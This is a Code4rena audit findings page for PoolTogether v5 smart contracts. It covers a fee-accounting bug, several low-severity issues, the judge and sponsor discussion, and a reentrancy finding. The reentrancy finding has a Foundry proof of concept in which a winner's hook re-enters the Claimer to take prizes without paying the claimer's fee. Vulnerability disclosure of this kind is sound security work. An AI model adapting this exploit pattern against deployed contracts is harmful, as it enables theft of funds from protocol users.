Platform: Code4rena
Start Date: 04/03/2024
Pot Size: $36,500 USDC
Total HM: 9
Participants: 80
Period: 7 days
Judge: hansfriese
Total Solo HM: 2
Id: 332
League: ETH
Rank: 3/80
Findings: 4
Award: $1,666.73
🌟 Selected for report: 1
🚀 Solo Findings: 0
🌟 Selected for report: DarkTower
Also found by: 0xJaeger, 0xJoyBoy03, 0xRiO, 0xkeesmark, 0xlemon, 0xmystery, Abdessamed, AcT3R, Afriauditor, AgileJune, Al-Qa-qa, Aymen0909, Daniel526, DanielTan_MetaTrust, Dots, FastChecker, Fitro, GoSlang, Greed, Krace, McToady, SoosheeTheWise, Tripathi, asui, aua_oo7, btk, crypticdefense, d3e4, dd0x7e8, dvrkzy, gesha17, iberry, kR1s, leegh, marqymarq10, n1punp, pa6kuda, radin100, sammy, smbv-1923, trachev, turvy_fuzz, valentin_s2304, wangxx2026, y4y, yotov721, yvuchev, zhaojie
1.4652 USDC - $1.47
https://github.com/code-423n4/2024-03-pooltogether/blob/main/pt-v5-vault/src/PrizeVault.sol#L617
Fees are increased when the liquidator claims them and contributes to the prize, and the yieldFeeReceipent
can claim them anytime he wants to.
The fees are claimed by letting yieldFeeReceipent
mint them.
The function subtracts all fees from yieldFeeBalance
(i.e. resetting it to zero), but mints to the yieldFeeReceipent
the number of shares passed as a parameter only.
function claimYieldFeeShares(uint256 _shares) external onlyYieldFeeRecipient { if (_shares == 0) revert MintZeroShares(); uint256 _yieldFeeBalance = yieldFeeBalance; // @audit getting all yeilds if (_shares > _yieldFeeBalance) revert SharesExceedsYieldFeeBalance(_shares, _yieldFeeBalance); yieldFeeBalance -= _yieldFeeBalance; // @audit subtracting all yeilds _mint(msg.sender, _shares); // @audit minting only the _shares value passed by the `yieldFeeRecipent` emit ClaimYieldFeeShares(msg.sender, _shares); }
So the yieldFeeRecipient
will lose its fees if he decides to claim a part from his yields.
This will make the prizeVault
earning yield calculations goes incorrect.
Since totalDept
is determined by adding totalSupply
to the yieldFeeBalance
.
function _totalDebt(uint256 _totalSupply) internal view returns (uint256) { return _totalSupply + yieldFeeBalance; }
So totalDept
will get decreased by a value greater than the value that totalAssets
will increase (if the yieldFeeRecipent
claimed part of his prize).
which will make prizeVault
think it earns yields from yieldVault
but it is from the fee recipient's remaining amount in reality. And this amount can be then claimed by the LiquidationPair
.
The function is restricted to the yieldFeeRecipent
, and decreasing totalDept
by a value more than totalAssets
will not cause any critical issues (DoS or others), it will just make prizeVault
earn yields not from yieldVault
(similar to donations state), so no further impacts will occur.
Let's take a scenario to illustrate the point:
yieldFeeBalance
is increasing.yieldFeeBalance
reaches 1000.yieldFeeRecipent
decided to claim 500.yieldFeeRecipent
fires claimYieldFeeShares()
, and passed 500 shares.yieldFeeRecipent
mints 500 successfully.yieldFeeBalance
dropped to zero instead of being 500 (1000 - 500).Manual Review
yieldFeeBalance
:PrizeVault::claimYieldFeeShares
function claimYieldFeeShares(uint256 _shares) external onlyYieldFeeRecipient { if (_shares == 0) revert MintZeroShares(); uint256 _yieldFeeBalance = yieldFeeBalance; if (_shares > _yieldFeeBalance) revert SharesExceedsYieldFeeBalance(_shares, _yieldFeeBalance); - yieldFeeBalance -= _yieldFeeBalance; + yieldFeeBalance -= _shares; _mint(msg.sender, _shares); emit ClaimYieldFeeShares(msg.sender, _shares); }
yieldFeeRecipent
from claiming part of the prize and mint all fees to him:PrizeVault::claimYieldFeeShares
// The function after modification function claimYieldFeeShares() external onlyYieldFeeRecipient { if (yieldFeeBalance == 0) revert MintZeroShares(); uint256 _yieldFeeBalance = yieldFeeBalance; yieldFeeBalance = 0; _mint(msg.sender, _yieldFeeBalance); emit ClaimYieldFeeShares(msg.sender, _yieldFeeBalance); }
Context
#0 - c4-pre-sort
2024-03-11T21:36:19Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-03-11T21:36:30Z
raymondfam marked the issue as duplicate of #10
#2 - c4-pre-sort
2024-03-13T04:38:03Z
raymondfam marked the issue as duplicate of #59
#3 - c4-judge
2024-03-15T07:37:31Z
hansfriese changed the severity to 3 (High Risk)
#4 - c4-judge
2024-03-15T07:40:48Z
hansfriese marked the issue as satisfactory
1188.1588 USDC - $1,188.16
When the winner earns his reward he can either claim it himself, or he can let a claimer contract withdraw it on his behalf, and he will pay part of his reward for that. This is because the user will not pay for the gas fees, instead the claimer contract will pay it instead.
The problem here is that the winner can make the claimer pay for the gas of the transaction, without paying the fees that the claimer contract takes.
Claimer contracts are allowed for anyone to use them, transfer prizes to winners, and claim some fees. where the one who fired the transaction is the one who will pay for the fees, so he deserved that fees.
pt-v5-claimer/Claimer.sol#L120-L150
// @audit and one can call the function function claimPrizes( ... ) external returns (uint256 totalFees) { ... if (!feeRecipientZeroAddress) { ... } return feePerClaim * _claim(_vault, _tier, _winners, _prizeIndices, _feeRecipient, feePerClaim); }
As in the function, the function takes winners, and he passed the fees recipient and his fees (but it should not exceeds the maxFees which is initialzed in the constructor).
Now We know that anyone can transfer winners' prizes and claim some fees.
Before the prizes are claimed, the winner can initialize a hook before calling the PoolPrize::claimPrize
, and this is used if the winner wants to initialize another address as the receiver of the reward.
The hook parameter is passed by parameters that are used to determine the correct winner (winner address, tier, prizeIndex).
abstract/Claimable.sol#L85-L95
uint24 public constant HOOK_GAS = 150_000; ... function claimPrize( ... ) external onlyClaimer returns (uint256) { address recipient; if (_hooks[_winner].useBeforeClaimPrize) { recipient = _hooks[_winner].implementation.beforeClaimPrize{ gas: HOOK_GAS }( _winner, _tier, _prizeIndex, _reward, _rewardRecipient ); } else { recipient = _winner; } if (recipient == address(0)) revert ClaimRecipientZeroAddress(); uint256 prizeTotal = prizePool.claimPrize( ... ); ... }
But to prevent OOG
the gas is limited to 150K
.
Now What can the user do to make the claimer pay for the transaction, and not pay any fees is:
beforeClaimPrize
hookClaimer::claimPrizes(...params)
but with settings no fees, and only passing his winning prize parameters (we got them from the hook).OOG
(remember we have only 150k).Note: The Claimer claiming function will not revert, as if the prize was already claimed the function will just emit an event and will not revert
pt-v5-claimer/Claimer.sol#L194-L198
function _claim( ... ) internal returns (uint256) { ... try _vault.claimPrize(_winners[w], _tier, _prizeIndices[w][p], _feePerClaim, _feeRecipient) returns (uint256 prizeSize) { if (0 != prizeSize) { actualClaimCount++; } else { // @audit Emit an event if the prize already claimed emit AlreadyClaimed(_winners[w], _tier, _prizeIndices[w][p]); } } catch (bytes memory reason) { emit ClaimError(_vault, _tier, _winners[w], _prizeIndices[w][p], reason); } ... }
The only Check that can prevent this attack is the gas cost of calling beforeClaimPrize
hook.
We will call one function Claimer::claimPrizes()
by only passing one winner, and without fees. We calculated the gas that can be used by installing protocol contracts (Claimer and PrizePool), then grap a test function that first the function we need, and we got these results:
Claimer::claimPrize()
costs 5292 gas
if it did not claimed anything.PrizePool::claimePrize()
costs 118124 gas
.So the total gas that can be used is $118,124 + 5292 = 123,416$. which is smaller than HOOK_GAS
by more than 25K
, so the function will not revert because of OOG error, and the reentrancy will occur.
Another thing that may lead to mis-understanding is that the Judger may say ok if this happens the function will go to beforeClaimPrize
hook again leading to infinite loop and the transaction will go OOG
. But making the transaction beforeClaimPrize
be fired to make a result and when called again do another logic is an easy task that can be made by implementing a counter or something. However, we did not implement this counter in our test. We just wanted to point out how the attack will work in our POC, but in real interactions, there should be some edge cases to take care of and further configurations to take care off.
We made a simulation of how the function will occur. We found that the testing environment made by the devs is abstracted a little bit compared to the real flow of transactions in the production mainnet, so I made Mock contracts, and simulated the attack with them. Please go for the testing script step by step, and it will work as intended.
test/Claimable.t.sol::L8
</details>import { console2 } from "forge-std/console2.sol"; import { PrizePoolMock } from "../contracts/mock/PrizePoolMock.sol"; contract Auditor_MockPrizeToken { mapping(address user => uint256 balance) public balanceOf; function mint(address user, uint256 amount) public { balanceOf[user] += amount; } function burn(address user, uint256 amount) public { balanceOf[user] -= amount; } } contract Auditor_PrizePoolMock { Auditor_MockPrizeToken public immutable prizeToken; constructor(address _prizeToken) { prizeToken = Auditor_MockPrizeToken(_prizeToken); } // The reward is fixed to 100 tokens function claimPrize( address winner, uint8 /* _tier */, uint32 /* _prizeIndex */, address /* recipient */, uint96 reward, address rewardRecipient ) public returns (uint256) { // Distribute rewards if the PrizePool earns a reward if (prizeToken.balanceOf(address(this)) >= 100e18) { prizeToken.mint(winner, 100e18 - uint256(reward)); // Transfer reward tokens to the winner // Transfer fees to the claimer Receipent. // Instead of adding balance to the PrizePool contract and then the claimerRecipent // Can withdraw it, we will transfer it to the claimerRecipent directly in our simulation prizeToken.mint(rewardRecipient, reward); // Simulating Token transfereing by minting and burning prizeToken.burn(address(this), 100e18); } else { return 0; } return uint256(100e18); } } contract Auditor_Claimer { ClaimableWrapper public immutable prizeVault; constructor(address _prizeVault) { prizeVault = ClaimableWrapper(_prizeVault); } function claimPrizes( address[] calldata _winners, uint8 _tier, uint256 _claimerFees, address _feeRecipient ) external { for (uint i = 0; i < _winners.length; i++) { prizeVault.claimPrize(_winners[i], _tier, 0, uint96(_claimerFees), _feeRecipient); } } }
test/Claimable.t.sol::L132
</details>Auditor_Claimer __claimer; function testAuditor_winnerStealClaimerFees() public { console2.log("Winner reward is 100 tokens"); console2.log("Fees are 10% (10 tokens)"); console2.log("============="); console2.log("Simulating the normal Operation (No stealing)"); auditor_complete_claim_proccess(false); console2.log("============="); console2.log("Simulating winner steal recipent fees"); auditor_complete_claim_proccess(true); } function auditor_complete_claim_proccess(bool willSteal) internal { // If tier is 1 we will take the claimer fees and if 0 we will do nothing uint8 tier = willSteal ? 1 : 0; Auditor_MockPrizeToken __prizeToken = new Auditor_MockPrizeToken(); Auditor_PrizePoolMock __prizePool = new Auditor_PrizePoolMock(address(__prizeToken)); address __winner = makeAddr("winner"); address __claimerRecipent = makeAddr("claimerRecipent"); // This will be like the `PrizeVault` that has the winner ClaimableWrapper __claimable = new ClaimableWrapper( PrizePool(address(__prizePool)), address(1) ); // Claimer contract, that can transfer winners rewards __claimer = new Auditor_Claimer(address(__claimable)); // Set new Claimer __claimable.setClaimer(address(__claimer)); VaultHooks memory beforeHookOnly = VaultHooks(true, false, hooks); vm.startPrank(__winner); __claimable.setHooks(beforeHookOnly); vm.stopPrank(); // PrizePool earns 100 tokens from yields, and we picked the winner __prizeToken.mint(address(__prizePool), 100e18); address[] memory __winners = new address[](1); __winners[0] = __winner; // Claim Prizes by providing `__claimerRecipent` __claimer.claimPrizes(__winners, tier, 10e18, __claimerRecipent); console2.log("Winner PrizeTokens:", __prizeToken.balanceOf(__winner) / 1e18, "token"); console2.log( "ClaimerRecipent PrizeTokens:", __prizeToken.balanceOf(__claimerRecipent) / 1e18, "token" ); }
beforeClaimPrize
hook function, and replace it with the following.function beforeClaimPrize( address winner, uint8 tier, uint32 prizeIndex, uint96 reward, address rewardRecipient ) external returns (address) { address[] memory __winners = new address[](1); __winners[0] = winner; if (tier == 1) { __claimer.claimPrizes(__winners, 0, 0, rewardRecipient); } return winner; }
forge test --mt testAuditor_winnerStealClaimerFees -vv
Output:
Winner reward is 100 tokens Fees are 10% (10 tokens) ============= Simulating the normal Operation (No stealing) Winner PrizeTokens: 90 token ClaimerRecipent PrizeTokens: 10 token ============= Simulating winner steal recipient fees Winner PrizeTokens: 100 token ClaimerRecipent PrizeTokens: 0 token
In this test, we first made a reward and withdraw it from our Claimer contract normally (no attack happened), and then we made another prize reward but by making the attack when withdrawing it, which can be seen in the Logs.
Manual Review + Foundry
We can check the prize state before and after the hook and if it changes from unclaimed to claimed, we can revert the transaction.
Claimable.sol
function claimPrize( ... ) external onlyClaimer returns (uint256) { address recipient; if (_hooks[_winner].useBeforeClaimPrize) { + bool isClaimedBefore = prizePool.wasClaimed(address(this), _winner, _tier, _prizeIndex); recipient = _hooks[_winner].implementation.beforeClaimPrize{ gas: HOOK_GAS }( ... ); + bool isClaimedAfter = prizePool.wasClaimed(address(this), _winner, _tier, _prizeIndex); + if (isClaimedBefore == false && isClaimedAfter == true) { + revert("The Attack Occuared"); + } } else { ... } ... }
NOTE: We was writing this issue 30 min before ending of the contest so we did not check for the grammar quality or the words, and the mitigation review may not be the best, or may not work (we did not tested it), Devs should keep this in mind when mitigating this issue.
Reentrancy
#0 - raymondfam
2024-03-12T20:11:32Z
Claimable::claimPrize has the visibility of onlyClaimer denying the winner's hook reentrancy. The winner can't any prize unless he/she is the permitted claimer.
#1 - c4-pre-sort
2024-03-12T20:11:52Z
raymondfam marked the issue as insufficient quality report
#2 - c4-pre-sort
2024-03-12T20:11:58Z
raymondfam marked the issue as duplicate of #18
#3 - c4-judge
2024-03-15T08:27:59Z
hansfriese changed the severity to QA (Quality Assurance)
#4 - c4-judge
2024-03-18T03:08:26Z
hansfriese marked the issue as grade-b
#5 - Al-Qa-qa
2024-03-19T11:26:34Z
Hi @hansfriese, thanks for judging this contest in that short period.
There is a misunderstanding of this issue with its group (78
), and I will illustrate how this occurs.
There are three contracts that we will deal with for making this exploit:
PrizeVault(Claimable)
: this is the claimable contract that has the function to give a winner his prize.Claimer
: The contract that has the authority to transfer the prize to the winner (from the Claimable contract).PrizePool
: The Contract that has the prize, which we will be called to claim the prize and give it to the winner.The issue was rejected by replying that the onlyClaimer
modifier prevents the hook from returning and calling the function again. So the judge thought that I said the beforeClaimHook
will call Claimable::claimPrize()
, and this is not what I said in my report.
In my report, I said that the hook will go to the Claimer contract itself, and call the claimPrizes
function (the function that is in Claimer contract that fires PrizeVault(Claimable)::claimPrize
.
beforeClaimHook
will call Claimer::claimPrizes()
which will call Claimable::claimPrize()
- he will make a
beforeClaimPrize
hook- In this function, the user will simply claim his reward
Claimer::claimPrizes(...params)
but with settings no fees, and only passing his winning prize parameters (we got them from the hook).
I think the conflict occurs as Claimer
and Claimable
are two different contracts, but they have similar names as well as the function names are also similar claimPrize
and claimPrizes
. So misunderstanding occuared
I illustrated in my report that the way the Claimer contract design is not restricted and, anyone can use it to claim fees and send prizes to the winners.
// @audit and one can call the function function claimPrizes( ... ) external returns (uint256 totalFees) { ... if (!feeRecipientZeroAddress) { ... } return feePerClaim * _claim(_vault, _tier, _winners, _prizeIndices, _feeRecipient, feePerClaim); }
According to @raymondfam comment for rejecting this issue:
Claimable::claimPrize has the visibility of onlyClaimer denying the winner's hook reentrancy. The winner can't any prize unless he/she is the permitted claimer.
Anyone can be a permitted claimer as the function that interacts with the PrizeVault(Claimable)
is accessible to anyone, as I showed here and in my report.
In my report I did not say that the hook will go to fire PrizeVault(Claimable)::claimPrize
directly, Instead, I said that it will call Claimer::claimPrizes()
.
- he will make a beforeClaimPrize hook
- In this function, the user will simply claim his reward
Claimer::claimPrizes(...params)
but with settings no fees, and only passing his winning prize parameters (we got them from the hook).
So the pass will be the following:
We will use (MEV searcher) to represent the one that claims winners' prizes using Claimer contract
Claimer::claimPrizes(...params)
, providing more than one winner.beforeClaimPrize
will be used to call Claimer::claimPrizes()
again, using the parameters passed to it, and the winner prize will get claimed using MEV searcher gas, but without paying the fees to the MEV searcher.PASS:
MEV--Claimer::claimPrizes(...)
PrizeVault(Claimabe)::claimPrize()
PrizeVault(Claimabe):WinnerHook:beforeClaimPrize()
WinnerHook--Claimer::claimPrizes()
[with winner (attacker) params, no fees]PrizeVault(Claimabe)::claimPrize()
[with winner (attacker) params, no fees]PrizeVault(Claimabe):WinnerHook:beforeClaimPrize()
[with winner (attacker) params, no fees]
6.1. make 'beforeClaimPrize' just return winner address at this time
PrizeVault(Claimabe):PrizePool::claimPrize([using no fees])
[with winner (attacker) params, no fees]
7.1 After the winner (attacker) claimed his reward using 'beforeClaimPrize()', the function 'beforeClaimPrize()' will return the winner address
7.2 [beforeClaimPrize returned the winner address] (note: '4', '5', '6', '7' happens inside 'beforeClaimPrize()' when the MEV searcher called claimer at '1'
7.3 After this, the function will complete its execution (and the MEV will go to claim the prize of the winner and earn fees)
PrizePool::claimPrize([using fees])
[with MEV searcher params, with fees]Function return 0 as it is already claimed
I highly encourage setting up the PoC and running it, I made a simulation of the normal state, and when the hook is used to steal rewards. By providing -vvvv
, the call path will be viewed clearly.
All what I said here exists in my report, and I provided a runnable PoC that can be used by the judge to simulate the attack, it can be viewed by expanding the collapsed content from the triangle, and following setting up PoC instructions.
One additional thing: this issue is not a duplicate of issue 18
, my issue illustrates how the winner can steal the fees, and force the MEV searcher to pay for the gas.
As I illustrated in the title there are two Impacts:
Claimer contract
(MEV searcher), and the winner will get them himself.Sorry for That long escalation text, but I wanted to explain things as well as I could to show the issue and its Impact to the Judger.
Please, if the Judger could reread the issue writeup carefully, after taking into consideration the points of conflict I showed here.
Thanks a lot, @hansfriese as well as @raymondfam for your time.
#6 - c4-judge
2024-03-20T07:42:39Z
hansfriese removed the grade
#7 - c4-judge
2024-03-20T07:43:03Z
This previously downgraded issue has been upgraded by hansfriese
#8 - hansfriese
2024-03-20T07:44:02Z
Nice report! After checking again, I agree it's a valid concern and Medium is appropriate.
#9 - c4-judge
2024-03-20T07:44:31Z
hansfriese marked the issue as not a duplicate
#10 - c4-judge
2024-03-20T07:44:36Z
hansfriese marked the issue as satisfactory
#11 - c4-judge
2024-03-20T07:44:41Z
hansfriese marked the issue as primary issue
#12 - c4-judge
2024-03-20T07:44:51Z
hansfriese marked the issue as selected for report
#13 - trmid
2024-03-21T22:42:11Z
Although this issue can be mitigated in the PrizeVault
as described, we chose to update the PrizePool
and Claimer
contracts with logic that ensures a double prize claim will revert so that the griefer will not receive their prize. This removes any incentivization for the malicious hook to be set. (PRs linked for context)
By fixing the issue in the prize pool and claimer, we save gas by avoiding the two additional external calls added in the original mitigation.
PrizePool.sol
: https://github.com/GenerationSoftware/pt-v5-prize-pool/pull/100
Claimer.sol
: https://github.com/GenerationSoftware/pt-v5-claimer/pull/28
#14 - c4-sponsor
2024-03-26T22:33:03Z
trmid (sponsor) confirmed
444.1886 USDC - $444.19
Judge has assessed an item in Issue #346 as 2 risk. The relevant finding follows:
[L-02] Unchecking for the actual assets withdrawn from the vault can prevent users from withdrawing
#0 - c4-judge
2024-03-20T07:36:41Z
hansfriese marked the issue as satisfactory
#1 - c4-judge
2024-03-20T07:36:55Z
hansfriese marked the issue as duplicate of #235
32.9145 USDC - $32.91
ID | Title |
---|---|
L-01 | Checking previous approval before permit() is done with strict equality |
L-02 | Unchecking for the actual assets withdrawn from the vault can prevent users from withdrawing |
L-03 | No checking for Breefy Vault strategies state (paused or not) |
NC-01 | Assets must precede the shares according to the ERC4626 standard |
permit()
is done with strict equalityIn PrizeVault::depositWithPermit
, the check that is implemented by the protocol to overcome griefing users by frontrunning permit signing, is to check if the owner allowance equals or does not equal the assets being transferred.
function depositWithPermit(... ) external returns (uint256) { ... // @audit strict check (do not check if the allowance exceeds required) if (_asset.allowance(_owner, address(this)) != _assets) { IERC20Permit(address(_asset)).permit(_owner, address(this), _assets, _deadline, _v, _r, _s); } ... }
So if the user approval exceeds the amount he wanted to do, the permit still will occur.
depositWithPermit()
.Allow permit if the allowance is Smaller than the required assets
function depositWithPermit(... ) external returns (uint256) { ... - if (_asset.allowance(_owner, address(this)) != _assets) { + if (_asset.allowance(_owner, address(this)) < _assets) { IERC20Permit(address(_asset)).permit(_owner, address(this), _assets, _deadline, _v, _r, _s); } ... }
When withdrawing assets from PrizeVault
, the contract assumes that the requested assets for redeeming are the actual assets the contract (PrizeVault) received.
function _withdraw(address _receiver, uint256 _assets) internal { ... if (_assets > _latentAssets) { ... // @audit no checking for the returned value (assets) yieldVault.redeem(_yieldVaultShares, address(this), address(this)); } if (_receiver != address(this)) { _asset.transfer(_receiver, _assets); } }
Since the calculations are done by rounding Up asset value when getting shares in previewWithdraw
, and then rounding Down shares when getting assets, there should not be any 1 wei rounding error.
This will not be the case for all yieldVaults
supported by PrizeVault
, where the amount can decrease if there is no enough balance in the vault for example, as that of Beefy Vaults
.
BIFI/vaults/BeefyWrapper.sol#L156-L158
function _withdraw( ... ) internal virtual override { ... uint balance = IERC20Upgradeable(asset()).balanceOf(address(this)); if (assets > balance) { // @audit the assets requested for withdrawal will decrease assets = balance; } IERC20Upgradeable(asset()).safeTransfer(receiver, assets); emit Withdraw(caller, receiver, owner, assets, shares); }
And ofc if there is a fee on withdrawals, the amount will decrease but this is OOS.
Check the returned value of assets transferred after withdrawing, and take suitable action if the value differs from the value requested. And take suitable action like emitting events to let Devs know what problem occurred when this user withdrew.
When depositing or minting into a vault, the check that is done by the ERC4626
is checking the maxDeposit
parameter.
This function maxDeposit()
will return 0 if the Vault is in pause state like AAVE-v3 link.
But In case of breefy, when depositing The function go to the internal deposie function first
// BeefyWrapper.sol function _deposit( ... ) internal virtual override { ... // @audit Step 1 IVault(vault).deposit(assets); ... }
// BeefyVaultV7.sol function deposit(uint _amount) public nonReentrant { // @audit Step 2 strategy.beforeDeposit(); ... }
// @audit Step 3 // StrategyAaveSupplyOnlyOptimism.sol (We took AAVE Optmism as an example) function beforeDeposit() external override { if (harvestOnDeposit) { require(msg.sender == vault, "!vault"); _harvest(tx.origin); } }
// @audit Step4 /* ︾ */ function _harvest( ... ) internal whenNotPaused gasThrottle { ... }
So if the Breedy strategy vault is paused, the depositing will revert, and can not occur.
Checking if the vault is paused or not is not directly supported, we need to check the strategy contract itself. However since the beefy wrapper supports more than one Strategy, checking the state may differ from one Strategy to another, but if all Strategies have the same interface, the check can be implemented before depositing.
In the implementation of PrizeVault::_burnAndWithdraw()
, the function takes shares then it takes the assets parameter at the end. And this is not the way assets and shares are provided to the ERC4626 functions.
function _burnAndWithdraw( address _caller, address _receiver, address _owner, uint256 _shares, // @audit Order should be (_assets, _shares) as that of ERC4626 uint256 _assets ) internal { ... }
All functions depositing/minting/withdrawing/redeeming in ERC4626 make the assets parameter first then shares.
Make the assets first, then the shares at the last in PrizeVault::_burnAndWithdraw()
.
NOTE: You will have to change all the calling of this function in PrizeVault + testing scripts files.
#0 - raymondfam
2024-03-13T06:20:02Z
L1: See #13
2L and 1 NC
#1 - c4-pre-sort
2024-03-13T06:20:08Z
raymondfam marked the issue as insufficient quality report
#2 - c4-pre-sort
2024-03-13T06:20:13Z
raymondfam marked the issue as grade-c
#3 - c4-judge
2024-03-18T03:08:21Z
hansfriese marked the issue as grade-b
#4 - Al-Qa-qa
2024-03-19T12:02:36Z
Hi @hansfriese,
My second low issue is judged as a MEDIUM #235 , but remains LOW in my report. Could you please give it another look and upgrade it?
MY first low is not talking about frontrunning-permit, so If you could look at it again.
Thanks a lot for your time.
#5 - hansfriese
2024-03-20T07:38:01Z
I agree L-01
is valid and grade-b
is still appropriate.